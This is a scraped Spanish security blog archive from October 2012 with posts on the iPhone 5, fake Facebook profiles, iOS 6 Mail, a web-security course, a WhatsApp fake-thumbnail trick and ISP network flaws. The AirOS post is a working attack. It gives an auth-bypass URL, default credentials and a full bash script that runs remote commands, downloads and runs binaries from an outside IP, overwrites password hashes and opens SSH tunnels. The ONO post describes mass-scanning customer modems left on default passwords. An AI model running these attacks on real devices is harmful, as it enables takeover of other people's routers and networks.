lunes, 15 de octubre de 2012

Steve Wozniak critica a Apple por la pantalla del iPhone 5





Steve Wozniak vuelve a demostrar que no tiene pelos en la lengua a la hora de lanzar declaraciones. El ingeniero y co-fundador de Apple en la década de los años 70 —1976 para ser exactos— junto al desaparecido Steve Jobs, ha declarado que Apple se está convirtiendo en una empresa arrogante. Y está demostrando que ella es la única que tiene razón.

Wozniak, que con cada lanzamiento de Apple sale en los medios opinando sobre los nuevos inventos de Cupertino, ha sido crítico con el último smartphone de la compañía: el iPhone 5. Este modelo, que ha crecido en pantalla hasta las cuatro pulgadas en diagonal, no es lo suficientemente grande para el co-fundador , según ha declarado en una reciente entrevista concedida al portal TalkCentral.

Al ingeniero —y ex-Apple— le hubiese gustado un móvil de tamaño mayor, aunque no ha indicado cuál sería la medida exacta a la que hacía refrencia. Lo que sí ha comentado en la entrevista es que hubiese preferido tener, a su disposición, un iPhone pequeño y otro grande. Además, también ha hecho referencia al mercado actual de móvil con Android, donde la mayoría de terminales tienen diagonales de mucha mayor envergadura que el nuevo iPhone 5. Y lo más curioso, según Wozniak, es que los usuarios no tienen problemas con ellas.

La arrogancia se ha hecho un hueco dentro de Apple, según palabras del co-fundador. Y es que ellos (Apple) piensan que son los únicos con la verdad absoluta; lo más importante es que el usuario puede hacer funcionar el terminal con una sola mano y es la única excusa que tiene para defenderse de la competencia, sentenciaba el polifacético y mediático ingeniero.

Por último, Steve se pone en la piel de los consumidores y ofrece una última declaración: “Not all people want the same thing. A lot of people really like big screens.” O lo que es lo mismo: “No todo el mundo quiere lo mismo; a un gran grupo de gente les gusta las pantallas grandes“. Una de las posibles razones de que las ventas del Samsung Galaxy S3 sean tan buenas a día de hoy.

Otra de las afirmaciones que hacía Wozniak era que, aunque el iPhone 5 tenga más resolución que otros famosos smartphones del mercado, la sensación que tiene el usuario al ver la oferta, es que en otros equipos tendrán más espacio para contenido; aspecto muy interesante para clientes que estén conectados a la Red en modo intensivo. Ningún miembro de ha salido en escena para rebatir las palabras del co-fundador.

Si los rumores son ciertos, Apple tiene intención de lanzar al mercado un nuevo dispositivo: el iPad mini. Una versión más comedida de la famosa tablet; con un precio inferior —entre los 250 y 350 dólares—; y se espera que únicamente tenga conexión WiFi, para abaratar costes de producción. Por otro lado, su pantalla se encogería hasta las 7,85 pulgadas, adoptaría el nuevo estándar de conexión Lightning y también podría equipar una cámara de fotos. Un equipo con el que, seguramente, Wozniak también aparezca en escena para comentar sus impresiones.



 FUENTE

domingo, 14 de octubre de 2012

FakeBook: Encuentra scammers en Facebook con Google Images

Hace tiempo que abrí mi perfil de Facebook al público. No tengo nada en privado y le doy un uso totalmente público. Es por eso que hace tiempo que dejé de aceptar solicitudes de amistad - y es probable que reduzca los amigos allí -, ya que puedes enviarme mensajes o suscribirte a lo que publico pongo en abierto.
Sin embargo, sigo recibiendo peticiones de amistad, y algunas de esas son de las que te hacen pensar dos veces eso de no aceptar a nadie, porque la foto promete largas e interesantes horas de debate sobre seguridad informática, arte y política. Ya sabes que tengo especial debilidad por las leopardesas...
Figura 1: Esta "chica" me pide amistad
El caso es que, como yo ya he sido ajado por la vida muchas veces, me he topado con perfiles falsos de en Facebook, y sé que, con lo difícil que es ligar con mis técnicas, es complicado además que me coma una rosca por Facebook o correo electrónico, así que alguna vez me daba por revisar las fotos con TinEye.
Esta vez lo hice utilizando el buscado de Google Images, usando la imagen. La idea es tan sencilla como pasarle la URL de la imagen o hacer drag and drop del fichero desde tu equipo y seleccionar la opción de Buscar por Imagen.
Figura 2: Buscar por imagen con la URL de la imagen del perfil
Por supuesto, el resultado fue un dolor en el corazón... un nuevo fiasco, otra desilusión, ya que como podéis ver, este mujer se llama de muchas formas distintas en diferentes redes de contactos, algo como nuestro querido depredador alemán que cayó en la JavaScript Botnet.
Figura 3: Esta foto tiene más perfiles que yo
Debido a eso, decidí pedir a Facebook que abra una investigación sobre esta cuenta, porque me da a mí que no me equivoco mucho si digo que esta cuenta esconde a un scammer de tomo y lomo que anda buscando incrédulos que piquen.
Figura 4: Reportando la cuenta a Facebook como scammer
Ten cuidado no caigas en una de estas cuentas de "FakeBook" y acabes metido en un lío pagando papeles de la aduana para... bueno... ya sabes cómo van las estafas del nigeriano.




viernes, 12 de octubre de 2012

Explotación, postexplotación y potencial del 0day en AirOS

En Diciembre del 2011, sd de fucksheep.org liberó un 0day que afectaba a los sistemas AirOS (http://seclists.org/fulldisclosure/2011/Dec/419) el cual fue parcheado aunque, como suele ser costumbre, no todos los sistemas han sido actualizados.

No quiero entrar en debate de si los responsables son los usuarios, o el desarrollador, simplemente expongo el tema.


Todo esto y algo más, fue reportado a Ubiquiti, los cuales al principio agradecieron la aportación, pero en el segundo contacto pasaron del tema y ni siquiera contestaron. Consideramos que ha pasado el suficiente tiempo como para publicar la información.


Todas las pruebas han sido realizadas en dispositivos propios, en ningún momento en ajenos. Este aporte es meramente informativo, y no me responsabilizo del mal uso que se le pueda dar a esta información.
 

Me gustaria agradecer por su inestimable trabajo a PunkiD y MARCOSCARS02.

Voy a comenzar con algunos conceptos básicos necesarios para entender el reporte:

¿Qué es un AirOS y que 0day es este?


AirOS es un sistema operativo avanzado, creado por Ubiquiti, capaz de manejar un sistema Wireless, enrutamiento y mínimas características ips y seguridad. Un sistema operativo para routers que busca la sencillez y la facilidad, siendo muy intuitivo, mas información en: http://www.ubnt.com/.

Hablemos un poco del hardware. Las CPU's de los sistemas AirOS son procesadores mips (Microprocessor without Interlocked Pipeline Stages). Es una arquitectura que consume muy pocos recursos y tiene una funcionalidad aceptable. Al ser de arquitectura distinta a la de los PC's convencionales (generalmente de 32 o 64 bits), si queremos compilar algo para mips, necesitamos recurrir a la crosscompilación, es decir, compilar un programa/servicio para una arquitectura distinta a la máquina en la que estamos trabajando. Tras muchas pruebas, recurrimos a Buildroot, una utilidad de uclib que permite desde compilar el toolchain hasta herramientas típicas y básicas, una imagen de sistema, etc.


El 0day afectaba al archivo admin.cgi, el cual es capaz de mostrar el panel “Device Administration Utility” que contiene:

  •     Un Uploader.
  •     Un Chmod.
  •     Un Downloader.
  •     Una Shell.
Imágen del panel login:



Imágen del panel de administración:



Explotación

El usuario y la contraseña por defecto de los AirOS son:
    Usuario: ubnt
    Contraseña: ubnt
 

Se recomienda usar Shodan para la búsqueda de dispositivos AirOS, pero este tipo de búsquedas dejan escapar muchos dispositivos. Actualmente trabajamos en un scanner por rangos de IP para localizar todos.

Se puede observar que el error consiste en cambiar la url de una petición de login al cgi; /login.cgi/uri=/ por /admin.cgi/$vuln .
Siendo $vuln cualquiera de los sientes: *.ico *.gif, *.jpg, *.js, *.css, airview.jar.pack.gz, airview_manager.jnlp, airview.jnlp, airview.uavr.
Por ejemplo: http://IPairos/admin.cgi/lol.css
De esta forma conseguimos el panel de administración, para muchos el fin, pero esto es solo el principio.

Postexplotación

El sistema operativo que lleva montado, por defecto solo tiene permisos de lectura en la mayoría de los directorios del dispositivo. Pero en /etc hay permisos de escritura, así pues tenemos un /etc/persistent/ a modo de home en el dispositivo. Lo primero es tener consola root en el dispositivo, para poder tener el control total. A través del panel subimos y ejecutamos dropbear mas su respectiva key crosscompilados.

De esta forma ya hemos conseguido ssh. A partir de aquí, vuestra imaginación es lo importante, para ver el potencial de estos dispositivos.
Tras tener funcionales todos los binarios, tenemos un “miniserver” externo:




Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:

    http://5.175.223.63/bin/


Y empaquetado en .tar:


    http://5.175.223.63/bin.tar

Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.

A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:

runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

Aplicaciones


Algunas de las cosas que se pueden hacer con estos dispositivos son:


  •     Encadenar AirOS a modo de proxys (SSH Tunneling).
  •     Shells de IRC.
  •     Bots.
  •     Servidor IRC.
  •     Servidor Web/ftp/etc
  •     Y muchas otras que podais imaginar.
Automatización del proceso

Pasemos a automatizar todo el proceso anterior. Para ello utilizaremos el airosh de la siguiente manera:

./airosh IPairos

El script se ejecutará y automáticamente comprobará si el dispositivo es vulnerable. Si es así, procederá a subir Dropbear, y a cambiar las claves de acceso, con contraseña:lol. De esta forma, habremos conseguido el acceso al dispositivo como administrador.



CODIGO: http://5.175.223.63/airosh


#!/bin/bash

host=$1
portlocal=$2
hostfinal=$3
portfinal=$4
unset c
usage() {
# ./airosh IP
exit 1
}
[[ -z "$host" ]] && c=1
[[ -z "$portlocal" ]] && c=2
[[ -z "$hostfinal" ]] && c=2
[[ -z "$portfinal" ]] && c=2

if [[ $c = 1 ]]; then
echo "FAILED!"
usage
else
echo "OK"
fi
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!' -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;' >>/tmp/airos.log

runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log

runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log

runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'

echo -en "| >>user: "
read usr
[[ -z "$usr" ]] && usr=admin

if [[ "$c" = 2 ]]; then
ssh -C "$usr@$host"
else
ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
fi
</pre>






lunes, 8 de octubre de 2012

iOS 6 Mail arregla el "problema" de las imágenes

Hace ya un tiempo me lo pasé genial jugando con la configuración del cliente Mail de iPhone al que le achacaba varias cosas en la configuración insegura por defecto, como que: 
1) No se pueda ver el código fuente del mensaje de correo
2) Por defecto cargue las imágenes de los mensajes
3) Que no se pueda seleccionar caso a caso en qué mensajes verlas
Esto me llevó a escribir unos posts en los que jugaba con estas opciones, tales como "El jefe hackeó la base de datos o cómo liarla poniendo un iPad/iPhone para leer el correo corporativo de la empresa", "Colecciona amigos con iPad (e iPhone) y gana votaciones" y "Cómo hacer click-fraud y ganar pasta con la publicidad de tu web y tu red de amigos con iPad/iPhone", que el libro del Fraude Online enseña muchos trucos. La verdad es que me divertí mucho esos días, a pesar de que tuve que discutir con algunos "fanboys" que lo veían todo perfecto y recalcárselo varias veces.

Figura 1: Mis quejas en Abril de 2011

Al final, parece que los que trabajan en seguridad en Apple han tomado nota en iOS 6, ya que para el cliente de correo, además de solucionar un bug de Ángel Prado, viene la carga de imágenes capada por defecto en todos los mensajes de correo electrónico que se lean vía Mail, lo que ayuda a que los usuarios menos informados en seguridad caigan en este tipo de ataques.

Figura 2: Carga de imágenes desactivada por defecto en Mail de iOS 6
Pero lo que es mejor, ahora si con la carga de imágenes bloqueada llega un mensaje de correo electrónico con imagenes incrustadas, te deja seleccionar si quieres cargarlas para ese mensaje en concreto y solo para ese, sin necesidad de cambiar la configuración global.
Figura 3: Opción de cargar las imágenes mensaje por mensaje
Muy bien, por fin el cliente Mail de iOS 6 tiene estas opciones de seguridad que hace alrededor de una década tienen todos los clientes de correo electrónico. Aún me queda eso de ver el código fuente del mensaje - para los que necesitamos ver esas cosas - y si pueden arreglar lo del parlanchín USER-Agent de iOS, mejor que mejor.
 
 

domingo, 7 de octubre de 2012

Curso Online de Auditoria y Seguridad Web

A partir del próximo día 16 de Octubre dará comienzo un Curso Online de Auditoría y Seguridad Web compuesto de 20 seminarios online de dos horas de duración cada uno, que se harán en horario de 16:00 a 18:00 - hora local en Madrid (España) -, y tendrá lugar todos los martes, miércoles y jueves hasta el día 29 de noviembre de 2012.  El curso lo vamos a impartir desde Informática 64 y este es el calendario y temáticas que abarca esta formación:

Octubre de 2012
16/10: Introducción a la auditoría Informática
17/10: Google Hacking y Shodan Hacking
18/10: Metadata Security
23/10: Fuzzing y Crawling
24/10: Análisis de capa de seguridad SSL
25/10: Auditoría a un CMS
30/10: Exploiting con Metasploit
31/10: Post-Explotación con Metasploit 
Noviembre de 2012
06/11: Herramientas de Metasploit
07/11: Cross-Site Scripting (XSS)
08/11: Cookie Spoofing e Hijacking
13/11: SQL Injection: Manual
14/11: SQL Injection: Automático
15/11: LFI/RFI/RFD
20/11: Clickjacking, Full Path Disclosure y contramedidas
21/11: (Blind) LDAP Injection/XPATH Injection y CSPP
22/11: Fortificación de IIS
27/11: Fortificación de servidor Apache, PHP y Análisis de código I
28/11: Fortificación de servidor Apache, PHP y Análisis de código II
29/11: Fortificación de servidor Apache: Mod_Security
A esta formación te puedes apuntar en solitario, en un grupo hasta de 5 personas y a un único seminario, es decir, no pagar el curso entero sino sólo el seminario que quieras hacer. En el siguiente enlace podrás ver con más detalle toda la información relacionada con esta formación: Curso Online de Auditoría y Seguridad Web

A parte de esta formación, esa semana también está el Curso Avanzado de Desarrollo de Aplicaciones iOS para iPhone & iPad en Madrid, y a finales de mes tenemos el Asegúr@IT Camp 4, donde nos lo vamos a pasar genial }:))

Saludos Malignos!
 
 

Whatsapp: cómo enviar una imagen con una vista previa falsa


Ya son varios los que me han preguntado cómo se puede enviar una imagen por Whatsapp con una miniatura falsa, es decir, una imagen con una vista previa (normalmente una mujer de buen ver) que al descargarla muestra otra cosa bien distinta (normalmente una con un miembro viril que no desearías haber visto XD). ¿Quieres trolear ya con tus amigos y mandar tus propias imágenes trucadas por Whatsapp en tu Android? Pues descarga y prueba magiapp truca fotos WhatsApp de beMee Technology ( una jóven y prometedora empresa de Leganés). 

El método más comentado para hacer este truquito consiste tan sólo en mandar por Whatsapp una imagen sin conexión a Internet, de tal forma que se quede en reintentar. Luego, mediante un explorador de archivos, sustituirla por otra con el mismo nombre (sdcard/whatsapp/media/whatsapp image/) y finalmente volverse a conectar a Internet y darle a reintentar. Sencillo, ¿verdad?. Por otra parte, la aplicación Android Magiapp lo hará de una forma más elegante, añadiendo la sorpresa ("magiapp.png") al enviar el fichero (android.intent.action.SEND).
Os dejo la función principal (si queréis el resto el código ya debéreis saber obtenerlo ;)): 
 
 public void createSurprise()
{
if(bit_big != null)
{
bit_big
.recycle();
bit_big
= null;
}
getCroppedBitmap
(decodeSampledBitmapFromPath(selectedImagePathBig, size_big, size_big), size_big, 2);
if(bit_big != null) goto _L2; else goto _L1
_L1
:
tostada
(getString(0x7f040009)); // msg_error_loading_image
_L9
:
return;
_L2
:
if(bit_final != null)
{
bit_final
.recycle();
bit_final
= null;
}
if(bit_big.getHeight() >= 1 && bit_big.getWidth() >= 1) goto _L4; else goto _L3
_L3
:
tostada
(getString(0x7f040015)); // msg_error_quality
goto _L5
_L4
:
step
= size_big / size_small;
const_whatsapp
= (-100 + size_big) / 200;
bit_final
= Bitmap.createBitmap(bit_big);
if(bit_final != null && bit_small != null) goto _L7; else goto _L6
_L6
:
tostada
(getString(0x7f040016)); // msg_error_leak_memory
goto _L5
_L7
:
int i;
int j;
int k;
i
= bit_big.getHeight();
j
= bit_big.getWidth();
k
= const_whatsapp;
_L10
:
if(k < i)
break MISSING_BLOCK_LABEL_301;
label0
:
{
File file = new File(Environment.getExternalStorageDirectory().toString(), "magiapp.png");
FileOutputStream fileoutputstream;
Intent intent;
Uri uri;
int l;
int i1;
int j1;
try
{
fileoutputstream
= new FileOutputStream(file);
}
catch(Exception exception1)
{
break label0;
}
try
{
bit_final
.compress(android.graphics.Bitmap.CompressFormat.PNG, 100, fileoutputstream);
fileoutputstream
.flush();
fileoutputstream
.close();
}
catch(Exception exception) { }
}
bit_final
.recycle();
bit_final
= null;
intent
= findWhatsAppClient();
if(intent == null)
{
tostada
(getString(0x7f040019)); // msg_no_whatsapp
new Intent("android.intent.action.SEND");
} else
{
uri
= Uri.fromFile(file);
intent
.setType("image/png");
intent
.putExtra("android.intent.extra.STREAM", uri);
startActivity
(Intent.createChooser(intent, getString(0x7f04000e))); // send_whatsapp
quality_selected
= false;
}
_L5
:
if(true) goto _L9; else goto _L8
_L8
:
l
= const_whatsapp;
_L11
:
label1
:
{
if(l < j)
break label1;
k
+= step;
}
goto _L10
i1
= (k - const_whatsapp) / step;
j1
= (l - const_whatsapp) / step;
bit_final
.setPixel(l, k, bit_small.getPixel(j1, i1));
l
+= step;
goto _L11
}

viernes, 5 de octubre de 2012

ONO: La insegura estructura de la red de clientes


miércoles, octubre 03, 2012Por eso de que como a muchos de vosotros me preocupa mi seguridad, desde hace tiempo vengo estudiando las distintas redes de operadores de internet (ISP) nacionales, así como sus dispositivos, y estructuras de conexión de las que soy usuario. No tardé en empezar a darme cuenta de las flaquezas en dichos sistemas y fue por ello que he empezado a escribir distintos artículos sobre diversas vulnerabilidades encontradas en aquellos que me ofrecen servicio de manera insegura, ya sea por hacerlo con sistemas que tienen vulnerabilidades conocidas o por una mala arquitectura de las redes. Tal vez así nos lleguen a brindar un servicio de mayor calidad y con unas mínimas garantías de calidad y seguridad.

El primer artículo trató sobre algunos proveedores, sobre todo de la costa azul, que ofrecen sus servicios mediante enlaces inalámbricos sobre banda licenciada en 2.4 o 5 Ghz. Le pedí al gran Chema Alonso, del que soy fiel seguidor, que debido a mi poco poder mediático a ver si podía hacerme un hueco en su blog, pues después de contactar con distintos operadores para que lo solucionasen - y tras varios meses  - nadie había puesto solución a ello. Él accedió, y gracias a eso muchos de esos proveedores rectificaron sus políticas en este aspecto, aunque he decir que todavía a día de hoy muchos que no lo han solucionado. Recomiendo a los responsables de la AGPD (Agencia de Protección de Datos) y a los del CMT (Comisión del Mercado de las Telecomunicaciones en España) echar un ojo a dicho artículo:
- AirOS vulnerables: ISPs sin actualizar en España
Hoy quiero hablar de otro operador bien conocido, nuestro querido ONO. Desde hace unos 9 años soy cliente de dicho operador, aunque he de confesar que también estuve unos 3 años con servicios gratuitos gracias a nuestras queridas direcciones MAC y un modem con Sigma que modifiqué hace unos cuantos años y que todavía tengo. Eso sí, esto era cuando con 17 años no tenía ni un duro y mis padres solo tenían la TV pública :-).

Fallos conocidos de la red de ONO

No voy a explicar cómo está estructurada una red HFC como la de ONO o qué equipos CMTS usan, pues para eso os remito a la Wikipedia para que comprendáis un poco el funcionamiento de dichas redes si te faltase algún conocimiento para entender bien el proceso del artículo - que también tiene que ver con el funcionamiento de Ethernet.

Desde hace ya mucho tiempo es conocido que es posible escanear direcciones MAC de los clientes que se encuentran bajo el mismo nodo con cualquier aplicación como nmap, hping, etc... sólo poniendo el router en modo “bridge” o mediante algún otro dispositivo como Mikrotik o lo que sea. Con este último yo he realizado esta prueba consiguiendo no solo ver las direcciones MAC de equipos en mi mismo rango de direcciones IP sino de otros rangos cercanos, y esto nos da una pequeña idea ya de cómo puede estar implementada la red.

Otro punto de ineficacia son los modems que montan. Muchos de sus modems son accesibles por defecto por SSH o Telnet con las contraseñas también por defecto a través de la dirección IP pública, cuando debería estar limitado a la dirección IP privada. En una auditoria de seguridad que realicé a una empresa de mi amada ciudad “León”, donde más o menos tenían un nivel bueno de protección bajo las pruebas que realizamos, al final se encontraron con todo su tráfico redirigido a nuestra web corporativa a través de un ataque contra los DNS gracias a las configuraciones de ONO, lo que nos hizo ganarnos varias medallas por la auditoría.

Figura 1: Accediendo a un modem ONO con usuario y password por defecto

El suceso que motivó todo

Pero lo último ha sido mucho más divertido. Resulta que probando un software de VoIP (3CX), me dispuse a montar montar un dominio completo bajo Windows Server 2008 R2. Cuando tenía el dominio montado me puse a configurar un servidor DHCP para la telefonía, porque quería probar el aprovisionamiento automático de los teléfonos en dicho software, y en cuanto levante el servicio “flipé en colores”. Resulta que un equipo me había solicitado un dirección IP y yo no tenía conectado nada todavía al switch. Lo primero que pensé fue que algún espabilado me había trincado la WiFi de pruebas, pero ¿cómo me iban a romper algo del tipo WPA2-AES “ocke9u3iafa0c4bio84@@@2ompd”? Tenía que haber otra explicación.

Figura 2: El cliente que se coló en el servidor DHCP

Para resolver el misterio me puse con Wireshark a ver que estaba pasando por mi laboratorio, y pude ver un montón de paquetes de tipo IGMP, solicitudes DHCP, etcétera de redes que no eran la mía. El culpable era el modem, que por algún motivo no filtraba o bloqueaba el tráfico broadcast y algún otro, que venía del puerto “WAN” - por llamarlo de alguna forma para que nos entendamos-.

Figura 3: Tráfico no esperado de IGMP en Wireshark

¿Qué estaba pasando realmente?

Lo primero que hice fue lanzar un escaneo a éste equipo tan gracioso que había atravesado mi modem robándome una dirección IP, y todos los puertos aperecían filtrados o cerrados, menos el puerto 80. En cuando lo puse en mi navegador ¡Sorpresa!: Un portal de configuración para un Hitron CDE-30386.

Figura 4: El portal de administración de Hitron

El tema estaba en que para mi red interna, justo detrás del modem, me puse el rango de direcciones IP 10.10.X.0/24 sin servidor DHCP, y resulta que este rango lo emplea ONO en alguna subred desde algún CMTS para entregar el archivo de configuración vía TFTP, enrutar el tráfico de los modems de ese rango, etcétera. Por explicarlo fácilmente, es una subred de ONO que permite la gestión y administración de los modems, y que es "supuetamente" transparente para los clientes.

¿Y si se escanea todo el un rango como 10.0.0.0/8?

Pues a eso me fui, y ¡madre mía!. Resulta que podía llegar a miles de routers de clientes dispersos por toda España. Si entraba en cualquiera de ellos y miraba su dirección IP pública, y luego intentaba entrar a través de ella, el modem no me dejaba. Tras analizar este comportamiento llegué a la conclusión de que es un subred de ONO que se utiliza para gestión y soporte, y todos los modems vienen preparados para permitir el acceso desde esa red sin ninguna restricción al puerto 80. Además, después de haber creado un pequeño programa en Java que me analizó todos los modems que encontré en 10.0.0.0/8, un 90% de ellos tenían la password por defecto.

Esta es gordísima...

Resulta que analizando las direcciones IP públicas de los modems y haciendo un whois, podía ubicar donde estaba aproximadamente ese router, y así elaborar una lista de cada una de la subredes encontradas en el rango 10.0.0.0/8 y colocarlas en una ciudad o zona. Algo que sería muy útil en un pentest. Pues así fue, después de analizar los distintos modems que usa ONO para poder extraer de las peticiones “Http” la dirección IP pública y asociarlo a la subred en cuestión. He podido elaborar un pequeño mapa de ciudades y subredes.



Probando ya la efectividad de la idea, me dispuse a realizar un auditoria bajo demanda de una empresa, de la que sólo diré que trabaja con temas financieros. Y vaya si me funcionó. En esta ocasión configuré el modem temporalmente con una DMZ apuntando a un Windows Server 2003 que actúa como Domain Controller, y realizando un escaneo contra la dirección IP externa fue coser y cantar ver la falta de actualizaciones y jugar con él.

Posibilidades y Riesgos

El daño que se puede causar es muy alto. Por ejemplo desde ataques ARP-Spoofing, MITM, etc... contra la propia red de ONO, o incluso montar un servidor TFTP y suplantar los archivos de configuración. Podríamos perfectamente entregar direcciones IP a clientes de “Talavera de la Reina”, tal y como se muestra en la foto, montar un servidor DNS y hacer...bueno, todo lo que se puede hacer con un Rogue DNS.

Otra cosa que pruebo a veces en las auditorias que hacemos, es mandar un email con una imagen alojada en un servidor, y ver si la dirección IP desde la que me solicitan esa imagen cuando abren el correo coincide con una de ONO. Si es así compruebo de dónde viene esa dirección IP pública y busco la subred que corresponda para ver si doy con el modem que la tiene asignada.

Solución al problema

La verdad es que el fallo es tan evidente, y tan fácil de descubrir, que el número de personas que puede conocer esto es altísimo. Preocupado por ello, he llamado a ONO e incluso he ido a una de sus oficinas, desde hace ya unos cuantos meses en varias ocasiones. Me pasa lo mismo que la otra vez cuando publiqué el artículo de AirOS, y es que cuando intento que alguien lo solucione me tachan, a mi parecer, de loco, así que he optado por volver a publicarlo, a ver si se arregla. La solución no es muy compleja, ya que existen los Firewall y no es tan complicado configurarlos correctamente para que de verdad se filtren bien las conexiones.

Figura 6: Modelo de cable modem

Mientras espero que ONO resuelva esto, estoy trabajando en un programa en Java - para demostrar el impacto que puede tener este fallo - que recoja direcciones MAC, direcciones IP, direcciones IP públicas, módelos de modem, etcétera... sobre los rangos 192.0.0.0/8, 172.0.0.0/8 y 10.0.0.0/8. Aunque soy algo novato programando y me llevará unos cuantos días pulirlo - a no ser que alguien se preste a echarme una mano a cambio de una cecina y un chorizo rico rico de mi tierra) >:-) -. Para el que quiera el rico embutido...